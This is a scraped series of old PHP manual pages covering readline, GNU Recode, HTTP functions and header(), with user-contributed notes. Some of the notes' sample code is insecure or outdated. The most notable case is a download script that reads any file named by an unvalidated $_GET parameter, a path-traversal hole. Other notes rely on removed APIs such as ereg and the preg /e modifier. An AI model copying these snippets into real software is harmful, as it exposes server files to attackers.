后退 | 起点 | 前进
readline_on_new_line | 上一级 | readline_redisplay


readline_redisplay

(PHP 5 >= 5.1.0RC1)

readline_redisplay -- Ask readline to redraw the display

Description

void readline_redisplay ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readline_read_history | 上一级 | readline_write_history


readline_write_history

(PHP 4, PHP 5)

readline_write_history -- Writes the history

Description

bool readline_write_history ( [string filename] )

This function writes the command history to a file.

add a note add a note User Contributed Notes
jonathan dot gotti at free dot fr
28-Apr-2006 07:52
readline_write_history() doesn't take care of the $_SERVER['HISTSIZE'] value, here's an example on how to handle an history file in your apps taking care of user preferences regarding history size.

at the begining of your script:
<?php
$history_file = $_SERVER['HOME'].'/.PHPinteractive_history';
# read history from previous session
if(is_file($history_file))
  readline_read_history($history_file);
....
# your application's code
....
# put this at the end of yur script to save history and take care of $_SERVER['HISTSIZE']
if( readline_write_history($history_file) ){
  # clean history if too long
  $hist = readline_list_history();
  if( ($histsize = count($hist)) > $_SERVER['HISTSIZE'] ){
   $hist = array_slice($hist, $histsize - $_SERVER['HISTSIZE']);
   # in php5 you can replaces thoose line with a file_puts_content()
   if( $fhist = fopen($history_file,'w') ){
     fwrite($fhist,implode("\n",$hist));
     fclose($fhist);
   }
  }
}
?>
add a note add a note

后退 | 起点 | 前进
readline_redisplay | 上一级 | readline


readline

(PHP 4, PHP 5)

readline -- Reads a line

Description

string readline ( string prompt )

This function returns a single string from the user. You may specify a string with which to prompt the user. The line returned has the ending newline removed. You must add this line to the history yourself using readline_add_history().

例子 1. readline()

<?php
//get 3 commands from user
for ($i=0; $i < 3; $i++) {
        $line = readline("Command: ");
        readline_add_history($line);
}

//dump history
print_r(readline_list_history());

//dump variables
print_r(readline_info());
?>

add a note add a note User Contributed Notes
haukew at gmail dot com
16-Jan-2006 09:39
A readline for ux systems without gnu-readline. (KISS)

function readline($prompt="")
{
   print $prompt;
   $out = "";
   $key = "";
   $key = fgetc(STDIN);        //read from standard input (keyboard)
   while ($key!="\n")        //if the newline character has not yet arrived read another
   {
       $out.= $key;
       $key = fread(STDIN, 1);
   }
   return $out;
}
Vylen
27-Aug-2005 11:36
I've got another solution for those those without readline compiled on a linux system.

This one is different as it is specifically for different PHP files opened by proc_open or in the CLI and are constantly looking for input.

<?php
// Define the pointer
$readline = popen("while true; do { read reply; echo \$reply ; }; done", "r");

// Some class
class example {
   function data() {
     global $readline;

     // Return any data from $readline, substr() is to remove the trailing linebreak, its really optional.
     return(substr(fgets($readline, 1024), 0, -1));
   }
}

$example = new example();

while($line = $example->data()) {
   if($line == 'hello')
     echo "Hi to you too!\n";
   else
     echo "recieved input\n";
}
?>
13-Feb-2005 03:40
I have my own readline function for Windows:
<?php
function readline($prompt="") {
   echo $prompt;
   $o = "";
   $c = "";
   while ($c!="\r"&&$c!="\n") {
       $o.= $c;
       $c = fread(STDIN, 1);
   }
   fgetc(STDIN);
   return $o;
}
?>
With many of the other functions posted above, it will only work once, and will immediately return while returning nothing afterwards.
----
Me;)
TheFatherMind At Dangerous-Minds.NET
03-Mar-2004 03:22
Above I took what "christian at gaeking dot de" did and I upgraded it  a bit.  Rewrote it to my needs in the process.  I found one minor bug with what he was doing and I also improved on it....

The bug with what he had is that when you hit the keyboard "Return" key it takes that with the varible.  So if you type in 123 it takes  "123\n".  I needed to detect blank input so I purge off the "\n" on the end to fix it.

The Enhancement.  I added some options to the "read".  One is that if you optionally specify True for the second option on the ReadText function, it will NOT show what you type.  This is good for grabbing passwords.  Also I added -er to the options of "read".  "-e" allows for standard input coming from the terminal (I use this for shell scripts).  Also "-r" turns off the backslash incase you want that as part of your input.  This means you can not escape any thing while doing input.  Feel free to change the options though.  And finally I added the ability to prompt with the input.

<?php
  Function ReadText($Prompt,$Silent=False){
   $Options="-er";
   If($Silent==True){
     $Options=$Options." -s";
   }
   $Returned=POpen("read $Options -p \"$Prompt\"; echo \$REPLY","r");
   $TextEntered=FGets($Returned,100);
   PClose($Returned);
   $TextEntered=SubStr($TextEntered,0,StrLen($TextEntered)-1-1);
   If($Silent==True){
     Print "\n";
     @OB_Flush();
     Flush();
   }
   Return $TextEntered;
  }
?>
christian at gaeking dot de
23-Jan-2004 02:01
A workaround if readline is not compiled into php, because for example the command is only needed within an installation routine. It works as follows under Linux:

$f=popen("read; echo \$REPLY","r");
$input=fgets($f,100);
pclose($f);
echo "Entered: $input\n";
Glyn AT minimanga DOT com
08-Jan-2003 04:09
This is mentionned elsewhere on the site, but for those of you that got here by trial and error searching of function names, here's an important fact: this function is not available to windows users, but thankfully we can accomplish much the same thing.

function readline () {
$fp = fopen("php://stdin", "r");
$in = fgets($fp, 4094); // Maximum windows buffer size
fclose ($fp);

return $in;
}

$line = readline();

I appropriated this function from elsewhere on the site, but I feel it should be here to save the time of others like me. ;)

Here's a function for multi-line reading that I hacked up myself. Please forgive any obvious mistakes I make, as I am still a beginner.

function read ($stopchar) {
$fp = fopen("php://stdin", "r");
$in = fread($fp, 1); // Start the loop
$output = '';
while ($in != $stopchar)
{
   $output = $output.$in;
   $in = fread($fp, 1);
}
fclose ($fp);
return $output;
}

$lines = read(".");

This is a multi-line read function, a carriage return won't end this, as with fgets, but the $stopchar param. will. In the above example, you have to type a period followed by a carriage return to break out of the loop and get your input. The $stopchar is not included in the final output, but the last carriage return is. Both of these are simple to change to your needs.
don at undesigned dot org dot za
17-Feb-2002 01:46
This might help some of you a bit:

/* example for how to return console colours - same as normal console colours with chr(27) for ^[ - returns 0 to reset if null */

function cl($str = 0) {
  return (chr(27) . "[" . $str . "m");
}

/* check user input for readline() (uses $default if given), asks for it again if user input is null and $default not specified. */

function readline_add($str,$default = null) {
  for ($i = 0; $i < 1; $i++) {
   if ($default !== null) {
     $line = readline(cl("1;31") . $str . cl("1;37") . " [$default]: ");
     if (isset($line) && $line !== "") {
       readline_add_history($line); /* add history */
     } else {
       readline_add_history($default); /* add default to history */
     }
   } else {
     $line = readline(cl("1;31") . $str . cl("1;37") . ": ");
     if (isset($line) && $line !== "") {
       readline_add_history($line); /* add history */
     } else {
       $i -= 1; /* we -1 to repeat the query if input is null */
     }
   }
  }
}

readline_add("one"); /* $history[0] - if no input is given, it asks for it again */
readline_add("two","bla"); /* $history[1] - if no input is given it defaults to "bla" */

/* readline_list_history() returns an array so handle it how you wish */
$history = readline_list_history();

print "One: " . $history[0] . "\n";
print "Two: " . $history[1] . "\n";

print cl(); /* reset colours with 0 */
cox at idecnet dot com
04-Feb-2002 12:06
In CGI mode be sure to call:

ob_implicit_flush(true);

at the top of your script if you want to be able to output data before and after the prompt.

-- Tomas V.V.Cox
add a note add a note

后退 | 起点 | 前进
readline_write_history | 上一级 | GNU Recode Functions


GNU Recode Functions

PHP 手册
后退 前进

XLVI. GNU Recode Functions

简介

This module contains an interface to the GNU Recode library. The GNU Recode library converts files between various coded character sets and surface encodings. When this cannot be achieved exactly, it may get rid of the offending characters or fall back on approximations. The library recognises or produces nearly 150 different character sets and is able to convert files between almost any pair. Most RFC 1345 character sets are supported.

注: 本扩展模块在 Windows 平台下不可用。

需求

You must have GNU Recode 3.5 or higher installed on your system. You can download the package from http://directory.fsf.org/All_GNU_Packages/recode.html.

警告

The Recode library version 3.6 adds weird characters behind converted strings under certain circumstances. Thus it's safer to use Recode v3.5 or one of the available alternatives like the iconv or mbstring extension.

安装

To be able to use the functions defined in this module you must compile your PHP interpreter using the --with-recode[=DIR] option.

警告

Crashes and startup problems of PHP may be encountered when loading the recode as extension after loading any extension of mysql or imap. Loading the recode before those extension has proved to fix the problem. This is due a technical problem that both the c-client library used by imap and recode have their own hash_lookup() function and both mysql and recode have their own hash_insert function.

警告

IMAP 扩展模块不能和 recode 扩展模块，YAZ 扩展模块以及 Cyrus 扩展模块同时使用。因为它们使用了相同的内部符号。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
recode_file -- Recode from file to file according to recode request
recode_string -- Recode a string according to a recode request
recode -- 别名 recode_string()

add a note add a note User Contributed Notes
theather at I dot am
08-Aug-2005 09:55
I see that the Recode (3.6) module is also incompatible with the MySQL module as well as the others noted in the "warning" note above.
pet at humaj dot sk
30-Apr-2003 09:51
Hope this might help someone:

I tried to compile php 4.3.2-RC2 (+some older versions) with recode AND imap (and gd+png+jpeg support, ldap, gettext, zlib .. but these are not interesting right now).

Why? I needed to run Imp + Horde + Turba. Turba talks to LDAP directory (and LDAP uses utf-8 encoding which I need to convert to iso-8859-2), so I modified Turba to use 'recode' for charset conversions utf8<->iso8859-2.

System: FreeBSD4.7+Apache 1.3.27+Ben SSL

I either could not properly compile OR after compiling apache coredumped.

Problem was: imap (libc-client) and recode (librecode) use the same function hash_lookup(). Therefore during loading libphp.so (and libraries it depended on) whole apache crashed. Without a word of what's going on.

The problem is detectable by forcing static linking (in FreeBSD modify librecode.la and change
library_names='librecode.so.0 librecode.so librecode.so'
to
library_names='librecode.a'

Now during linking of php the linker complains of double definition of hash_lookup.

Solution:

-grab recode3.6 from ftp://ftp.gnu.org/pub/gnu/recode/
-unpack, go to src, in files combine.c, hash.c, names.c, recode.c, testdump.c, html.c, hash.h replace hash_lookup() by hash_lookupX() [or invent some better name],
compile recode (i had to do:

setenv CFLAGS "-I/usr/local/include"
setenv LDFLAGS "-L/usr/local/lib -lintl"
./configure --prefix=/usr/local/recode --exec-prefix=/usr/local/recode --without-included-gettext
make
make check
make install

(recode is installed to /usr/local/recode.You can change this and you can force static linking of recode, so that after building libphp.so this modified recode is no longer needed and can be deleted! )

For some reason this recode needs to have externally defined
int error;
therefore we have to modify configure script +one .c php source file:

1. modify configure script of php: find
recode_format_table();
and somewhere before start of main() add
int error;

so the result is:

char *program_name;
int error;
int main() {
recode_format_table();
; return 0; }

(I modified both occurences of recode_format_table() in configure of php4.3.2rc2)

2. run configure, should work ok (my another problem was with imap: though my c-client was compiled WITHOUT ssl, configure complained that it IS using ssl, so i had to edit configure once again and comment following lines:
void mm_searched(void){}
void mm_expunged(void){}
// char ssl_onceonlyinit();  --- commented
int main() {
// ssl_onceonlyinit(); --- commented
return 0;
}

Now configure was rather happy :-)

for the record: I did
./configure --with-apxs=/usr/local/apache/bin/apxs --with-imap --enable-sysvsem --enable-sysvshm --with-sybase=/usr/local/freetds --with-gettext --with-ldap --with-zlib --with-recode=/usr/local/recode -with-gd=/usr/local --with-jpeg-dir=/usr/local --with-png-dir=/usr/local

3. edit ext/recode/recode.c (or any other .c source file, add somewhere (e.g. at the end)
int error;

without it during linking 'error not defined' will be complained.

4. do 'make' and php is yours :-)

It took me 2 days.. so do not delete this note, someone might even find it useful and mail me his thanks :-]
cv at corbach dot de
04-Feb-2002 01:06
When compiling PHP into Apache as static module Apache configure will complain about an undefined symbol in librecode. You need recode-3.6 (e.g. on ftp://ftp.gnu.org/pub/gnu/recode/) to get rid of this error. It doesn't matter if you're compiling PHP as DSO.
add a note add a note

后退 | 起点 | 前进
readline | 上一级 | recode_file


recode_file

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

recode_file -- Recode from file to file according to recode request

Description

bool recode_file ( string request, resource input, resource output )

Recode the file referenced by file handle input into the file referenced by file handle output according to the recode request. Returns FALSE, if unable to comply, TRUE otherwise.

This function does not currently process filehandles referencing remote files (URLs). Both filehandles must refer to local files.

例子 1. Basic recode_file() example

<?php
$input = fopen('input.txt', 'r');
$output = fopen('output.txt', 'w');
recode_file("us..flat", $input, $output);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
GNU Recode Functions | 上一级 | recode_string


recode_string

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

recode_string -- Recode a string according to a recode request

Description

string recode_string ( string request, string string )

Recode the string string according to the recode request request. Returns the recoded string or FALSE, if unable to perform the recode request.

A simple recode request may be "lat1..iso646-de". See also the GNU Recode documentation of your installation for detailed instructions about recode requests.

例子 1. Basic recode_string() example:

<?php
echo recode_string("us..flat", "The following character has a diacritical mark: &aacute;");
?>

add a note add a note User Contributed Notes
bisqwit at iki dot fi
24-Nov-2005 02:41
Here's how to convert romaji to katakana/hiragana with PHP (transliterating Japanese text).
The function Romaji2Kana($s) will return with keys 'hira' and 'kata' that respectively contain the hiragana and katakana versions of the given string in UTF-8 encoding.

<?php
// eucjp: 2421; unicode: 3041
define('HIRATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn ');
// eucjp: 2521; unicode: 30A1
define('KATATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn VUkake');

function HiraTrans($s)
{
  #print "trans('$s')\n";
  $pos = strpos(HIRATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA4A1 + $pos/2;
}
function KataTrans($s)
{
  $pos = strpos(KATATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA5A1 + $pos/2;
}

function Romaji2Kana($s)
{
  $s = strtoupper(str_replace(
     Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
           '', '', '', '', '', '', '', '', '', ''),
     Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
           'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
     $s));
  // FO -> FUxo
  $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
  // VO -> VUxo
  $s = preg_replace('@V([AIUEO])@e', '"VU".strtolower("\1")', $s);
  // KYA -> KYya
  $s = preg_replace('@([KSTNHMRGZBPD])Y([AUO])@e',  '"\1Iy".strtolower("\2")', $s);
  // XTU -> tu (make them actually small)
  $s = preg_replace('@X(TU|Y[AUO]|[AIUEO]|KA|KE)@e', 'strtolower("\1")', $s);
  // KKO -> tuKO
  $s = preg_replace('@([KSTHMRYWGZBPDV]{2,})@e',
                     'str_pad("",2*strlen("\1")-2,"tu").substr("\1",0,1)', $s);
  // N -> n (but not NO -> nO)
  // At this point, N' will work correctly
  $s = preg_replace('@N(?![AIUEO])@', 'n', $s);
  // Unrecognized characters off
  $s = eregi_replace('[^^VAIUEOKSTNHMYRWGZBPD]', '', $s);

  $pat = '@([AIUEOnaiueo^]|..)@e';
  $rec = 'EUCJP..UTF8';

  return
   Array('hira' => recode_string($rec,preg_replace($pat, 'pack("n", HiraTrans("\1"))', $s)),
         'kata' => recode_string($rec,preg_replace($pat, 'pack("n", KataTrans("\1"))', $s)));
}

print_r( Romaji2Kana('konnichiha') );
?>

Note: Due to technical limitations in the manual pages, there are two errors in this code:
- Some characters in the first str_replace may appear wrong in some php.net mirrors. It supposed to contain aiueo with circumflex and aiueo with macron.
- The strings in the defines should be constant, not appendage expressions. (Line length limitation)

-Joel Yliluoma
jazfresh at spam-javelin.hotmail.com
28-Oct-2003 02:55
I came across a bug (and workaround) when using recode_string. When converting from utf-8 to iso-2022-jp, it would always return an empty string (although it would work fine for conversions from html to utf8). Converting with recode on the command line worked fine, which was odd. I noticed that if I specified "-v" on the command line, recode stated that it was using libiconv to do the conversion.

Using "iconv" instead of recode got the right results.
i.e.

Works:
$str = recode_string("html..utf-8", "&#26085;&#26412;&#35486;"); // Unicode for "Japanese"

Doesn't work:
$str = recode_string("utf-8..iso-2022-jp", $mystring);

Works:
$str = iconv("utf-8", "iso-2022-jp", $mystring);

Don't ask me why. Hope this saves someone some frustrating hours debugging.
kumar at chicagomodular dot com
30-Sep-2002 09:54
GNU recode reference manual:

http://www.delorie.com/gnu/docs/recode/recode_toc.html
gleis at netz-profis dot de
17-Aug-2001 05:48
Just 'man recode' for further details.
add a note add a note

后退 | 起点 | 前进
recode_file | 上一级 | recode


recode

(PHP 4, PHP 5)

recode -- 别名 recode_string()

说明

本函数是该函数的别名： recode_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
recode_string | 上一级 | HTTP 函数


HTTP 函数

PHP 手册
后退 前进

XLVII. HTTP 函数

简介

本类函数可以以低至 HTTP 协议的级别来操纵发回远端浏览器的输出。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
header -- 发送一个原始 HTTP 标头
headers_list -- 返回已发送（或准备发送）的响应标头的列表
headers_sent -- 检查标头是否已被发送以及在哪里被发送
setcookie -- 发送一个 cookie 信息
setrawcookie -- 发送一个其值未经 urlencode 编码的 cookie

add a note add a note User Contributed Notes
dand at ddchosting.com
09-Apr-2006 05:28
When I was working on a project I ran into this problem with redirecting. My solution is as follows:
header("Refresh: 5; url=../main/main.php?".session_id()."");

This allowed me to pass the session_id() which is used throughout site to make sure user has loged in.
I hope this helps!
henke dot andersson at comhem dot se
15-Jan-2006 05:01
If you want to make outgoing http connections with php, concider the curl extension.
woei at xs4all dot nl
30-Nov-2005 11:57
Actually, if you want to redirect a user why let HTML or JavaScript do it? Simply do this:

header("Location: http://www.example.com/");
WeeJames
08-Jul-2004 02:39
Regarding what the guy before said.  We've experienced problems where certain firewalls have encrypted the HTTP_REFERER meaning that it doesnt always contain the place you've come from.

Better to track where the user has come from either in a form post or in the url.
28-Apr-2004 10:05
in reference to toashwinisidhu's and breaker's note, a more effective way would be to use meta-tag redirect, for example.

<?php
$url = "http://somesite.com/index.php"; // target of the redirect
$delay = "3"; // 3 second delay

echo '<meta http-equiv="refresh" content="'.$delay.';url='.$url.'">';

?>

The meta goes in the head of the HTML.
This method does not require javascript and is supported by most browsers and is rarely, if ever, filterd out.
toashwinisidhu at yahoo dot com
21-Apr-2004 06:55
The method given below may not sometimes work.
The following method has always worked with me:
just put the following 3 lines in your PHP code

?>
<body onload=setTimeout("location.href='$url'",$sec)>
<?PHP
-------?>

$sec is the time in second after which the browser would automatically go to the url. Set it to 0 if you do not want to give any time.
You can use this function on the events of various html/form objects (eg.-onclick for button).eg.
<input type=button value="Go to Php.net" onclick=setTimeout("location.href='php.net'",0)>
Use this to one step back
<input type="button" value="Back" onclick=history.go(-1)>
breaker at coder dot hu
16-Mar-2003 12:15
[Editor's Note:] This method uses JavaScript which requires the visitor's browser to have javascript enabled [/Note]

Another way, to redirect to an url without any notification or message:
Print("window.location='$urlvar';");
nf at wh3rd dot net
06-Sep-2002 02:57
If you're wanting to perform an HTTP POST, I've written a small but useful function to do so:

http://nf.wh3rd.net/projects/http.inc/
krisj at blueridge dot net
24-Jan-2001 08:41
When using the $SERVER_NAME or other predefined variables within a function BE SURE to use $GLOBALS["SERVER_NAME"] in its place =)
jeffp-php at outofservice dot com
05-Jan-2001 12:37
$HTTP_RAW_POST_DATA --

You'll usually access variables from forms sent via POST method by just accessing the associated PHP global variable.

However, if your POST data is not URI encoded (i.e., custom application that's not form-based) PHP won't parse the data into nice variables for you.  You will need to use $HTTP_RAW_POST_DATA to access the raw data directly. (This should return a copy of the data given to the PHP process on STDIN; note that you wan't be able to open STDIN and read it yourself because PHP already did so itself.)
dhpainter at msn dot com
27-Apr-2000 01:35
To create a link to the previous page you can use the
 getenv("HTTP_REFERER")
command and  set it up as a hyperlink. You might also want to put a IF condition on it so it won't get displayed if the user has gone straight in to the page.
add a note add a note

后退 | 起点 | 前进
recode | 上一级 | header


header

(PHP 3, PHP 4, PHP 5)

header -- 发送一个原始 HTTP 标头

说明

void header ( string string [, bool replace [, int http_response_code]] )

header() 函数用来发送一个原始 HTTP 标头。有关 HTTP 标头的更多内容见 HTTP/1.1 规范。

可选参数 replace 指明是替换掉前一条类似的标头还是增加一条相同类型的标头。默认为替换，但如果将其设为 FALSE 则可以强制发送多个同类标头。例如:

<?php
header('WWW-Authenticate: Negotiate');
header('WWW-Authenticate: NTLM', false);
?>

第二个可选参数 http_response_code 强制将 HTTP 响应代码设为指定值（此参数是 PHP 4.3.0 新加的）。

有两种特殊的 header 调用。第一种是标头以字符串“HTTP/”（大小写不重要）开头的，可以用来确定要发送的 HTTP 状态码。例如，如果配置了 Apache 用 PHP 来处理找不到文件的错误处理请求（使用 ErrorDocument 指令），需要确保脚本产生了正确的状态码。

<?php
header("HTTP/1.0 404 Not Found")
?>

注: HTTP 状态码标头行总是第一个被发送到客户端，而并不管实际的 header() 调用是否是第一个。除非 HTTP 标头已经发送出去，任何时候都可以通过用新的状态行调用 header() 函数来覆盖原先的。

第二种特殊情况是以“Location:”标头。它不只是把这个标头发送回浏览器，它还将一个 REDIRECT（302）状态码返回给浏览器，除非之前已经发出了某个 3xx 状态码。

<?php
header("Location: http://www.example.com/"); /* 重定向浏览器 */

/* 确保重定向后，后续代码不会被执行 */
exit;
?>

注: HTTP/1.1 标准需要一个绝对地址的 URI 做为 Location: 的参数, 但有一些客户端支持相对 URI。通常可以使用 $_SERVER['HTTP_HOST']、$_SERVER['PHP_SELF'] 及 dirname() 函数来自己从相对 URI 产生出绝对 URI：

<?php
header("Location: http://".$_SERVER['HTTP_HOST']
                       . rtrim(dirname($_SERVER['PHP_SELF']), '/\\')
                      ."/".$relative_url);
?>

注: 即使启用了 session.use_trans_sid，Session ID 也不会随着 Location 头信息被传递。必须手工用 SID 常量来传递。

PHP 脚本通常会产生一些动态内容，这些内容必须不被浏览器或代理服务器缓存。很多代理服务器和浏览器都可以被下面的方法禁止缓存：

<?php
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // 过去的时间
?>

注: 可能会发现即使不输出上面所有的代码，网页也没有被缓冲。用户有很多选项可以设置来改变浏览器的默认缓存行为。通过发送上述标头，应该可以覆盖任何可以导致脚本页面被缓存的设置。

另外，当使用了 session 时，利用 session_cache_limiter() 函数和 session.cache_limiter 选项可以用来自动产生正确的缓存相关标头。

要记住 header() 必须在任何实际输出之前调用，不论是来自普通的 HTML 标记，空行或者 PHP。有一个常见错误就是在通过 include()，require() 或一些其它的文件存取类函数读取代码时，有一些空格或者空行在调用 header() 之前被发送了出去。同样在一个单独的 PHP/HTML 文件中这个错误也很普遍。

<html>
<?php
/* 这将产生一个错误，因为在调 header()
* 之前已经输出了东西 */
header('Location: http://www.example.com/');
?>

注: 自 PHP 4 起，可以通过一些输出缓冲函数来解决这个问题。代价是把所有向浏览器的输出都缓存在服务器，直到下命令发送它们。可以在代码中使用 ob_start() 及 ob_end_flush() 来实现这样的功能，或者通过修改 php.ini 中的 output_buffering 配置选项来实现，也可以通过修改服务器配置文件来实现。

如果想提示用户保存所发送的数据，例如一个生成的 PDF 文件，可以通过发送 Content-Disposition 标头提供推荐的文件名来强制浏览器弹出一个保存文件对话框。

<?php
// 这样将会直接输出一个 PDF 文件
header('Content-type: application/pdf');

// 这样做就会提示下载 PDF 文件 downloaded.pdf
header('Content-Disposition: attachment; filename="downloaded.pdf"');

// 这是 original.pdf 的源文件
readfile('original.pdf');
?>

注: Microsoft Internet Explorer 4.01 中的一个漏洞使得该机制无法正常工作，无解决方案。在 Microsoft Internet Explorer 5.5 中也有个漏洞影响到这一点，升级到 Service Pack 2 或更高版本可以解决。

注: 在安全模式下，如果设定了 WWW-Authenticate 标头（用于 HTTP 认证）则脚本的 UID 会添加到其中的 realm 部分中去。

参见 headers_sent()，setcookie() 和 HTTP 认证一章。

add a note add a note User Contributed Notes
spongebob3 at hotmail dot com
03-Jun-2006 07:47
If you don't want people to go to
http://example.com/index.php?id=5,

but want them automatically redirected to
http://www.example.com/index.php?id=5
or
http://prefix.example.com/index.php?id=5

(so with the 'www.' or the 'prefix.'), this function might be useful:

<?
if (!strstr($_SERVER['HTTP_HOST'],"www."))
{
Header("Location:http://www.".$_SERVER['HTTP_HOST'].
"/?".$_SERVER['QUERY_STRING']);
}
?>

Replace the 'http://www.' to your own prefix. E.g. 'http://prefix.'.
dotmg at wikkwiki dot ORG
26-May-2006 02:40
<?php header('Content-Length: ', $size); ?>
is not a so good idea. If the server has session.use_transient_sid enabled, you cannot know the correct size of output sent to client 'coz urls will be suffixed with strings like '?PHPSESSID=somemd5hash'. If you don't use this header, you have no problem because PHP will use Transfer-encoding: chuncked.

<?php header('Vary: Content-language'); ?>
may be ignored if you use ob_gzhandler.
jherman at digitalgravy dot net
18-May-2006 05:16
PHP as CGI treats header differently.

header("HTTP/1.0 404 Not Found"); returns "404 ok"

When using PHP (3,4 and 5) as CGI to return a 404 you need to use:

header("Status: 404 Not Found"); this returns "404 Not Found"

See: http://bugs.php.net/bug.php?id=27345
pechkin at zeos dot net
05-May-2006 09:00
I've created script that gives users ability to download files from closed directory. It supports multithread download and download resuming

<?php
$fname = $_GET['file'];
$fpath = "downloads/$fname";
$fsize = filesize($fpath);
$bufsize = 20000;

if(isset($_SERVER['HTTP_RANGE']))  //Partial download
{
   if(preg_match("/^bytes=(\\d+)-(\\d*)$/", $_SERVER['HTTP_RANGE'], $matches)) { //parsing Range header
       $from = $matches[1];
       $to = $matches[2];
       if(empty($to))
       {
           $to = $fsize - 1;  // -1  because end byte is included
                               //(From HTTP protocol:
// 'The last-byte-pos value gives the byte-offset of the last byte in the range; that is, the byte positions specified are inclusive')
       }
       $content_size = $to - $from + 1;

       header("HTTP/1.1 206 Partial Content");
       header("Content-Range: $from-$to/$fsize");
       header("Content-Length: $content_size");
       header("Content-Type: application/force-download");
       header("Content-Disposition: attachment; filename=$fname");
       header("Content-Transfer-Encoding: binary");

       if(file_exists($fpath) && $fh = fopen($fpath, "rb"))
       {
           fseek($fh, $from);
           $cur_pos = ftell($fh);
           while($cur_pos !== FALSE && ftell($fh) + $bufsize < $to+1)
           {
               $buffer = fread($fh, $bufsize);
               print $buffer;
               $cur_pos = ftell($fh);
           }

           $buffer = fread($fh, $to+1 - $cur_pos);
           print $buffer;

           fclose($fh);
       }
       else
       {
           header("HTTP/1.1 404 Not Found");
           exit;
       }
   }
   else
   {
       header("HTTP/1.1 500 Internal Server Error");
       exit;
   }
}
else // Usual download
{
   header("HTTP/1.1 200 OK");
   header("Content-Length: $fsize");
   header("Content-Type: application/force-download");
   header("Content-Disposition: attachment; filename=$fname");
   header("Content-Transfer-Encoding: binary");

   if(file_exists($fpath) && $fh = fopen($fpath, "rb")){
       while($buf = fread($fh, $bufsize))
           print $buf;
       fclose($fh);
   }
   else
   {
       header("HTTP/1.1 404 Not Found");
   }
}
?>
cameron at prolifique dot com
05-May-2006 04:24
I've had several people ask me about my multi-featured custom 404 page (see post on 11-Jun-2005 below) and even request the full code for it. So here it is:

www.prolifique.com/404.php.txt

I've tried to clean it up to be self-contained (rather than rely on copious other include files) and to remove any extraneous functionality.

Works on both Windows and Apache servers.

Enjoy. There may be mistakes from the clean-up; feel free to mention them. Suggestions for improvements welcome.
abrikos dot org
04-May-2006 12:38
<?
if(strstr($_SERVER[HTTP_USER_AGENT],"MSIE"))
{
   $fname=str_replace("+"," ",urlencode($fname));
}
header("Content-Disposition: attachment; filename=\"$fname\"");
?>

this code help to set valid names of attachment for IE users
php.net[at]macosbrain[dot]com
30-Apr-2006 05:19
at first one advise to Jon's post (09-Mar-2006 01:38)
the "function downloadFile ($file, $mimetype)" can NOT resume downloads.
the function sent every time the same file just with different header informations.

this function will work
<?php
function output_file($file,$name)
{
//do something on download abort/finish
//register_shutdown_function( 'function_name'  );
if(!file_exists($file))
die('file not exist!');
$size = filesize($file);
$name = rawurldecode($name);

if (ereg('Opera(/| )([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT']))
$UserBrowser = "Opera";
elseif (ereg('MSIE ([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT']))
$UserBrowser = "IE";
else
$UserBrowser = '';

/// important for download im most browser
$mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ?
 'application/octetstream' : 'application/octet-stream';
@ob_end_clean(); /// decrease cpu usage extreme
header('Content-Type: ' . $mime_type);
header('Content-Disposition: attachment; filename="'.$name.'"');
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header('Accept-Ranges: bytes');
header("Cache-control: private");
header('Pragma: private');

/////  multipart-download and resume-download
if(isset($_SERVER['HTTP_RANGE']))
{
list($a, $range) = explode("=",$_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size-1;
$new_length = $size-$range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
}
else
{
$size2=$size-1;
header("Content-Length: ".$size);
}
$chunksize = 1*(1024*1024);
$this->bytes_send = 0;
if ($file = fopen($file, 'r'))
{
if(isset($_SERVER['HTTP_RANGE']))
fseek($file, $range);
while(!feof($file) and (connection_status()==0))
{
$buffer = fread($file, $chunksize);
print($buffer);//echo($buffer); // is also possible
flush();
$this->bytes_send += strlen($buffer);
//sleep(1);//// decrease download speed
}
fclose($file);
}
else
die('error can not open file');
if(isset($new_length))
$size = $new_length;
die();
}
?>
http://macosbrain.ath.cx/wordpress/2006/04/30/
for some comments in german.
hervard at gmail dot com
18-Apr-2006 02:53
When using HTML forms, using the browser's back button will sometimes display a message regarding using cached data, and will ask you to refresh the page. This can be very disconcerting for some users, as they might not know whether to hit Refresh or not.

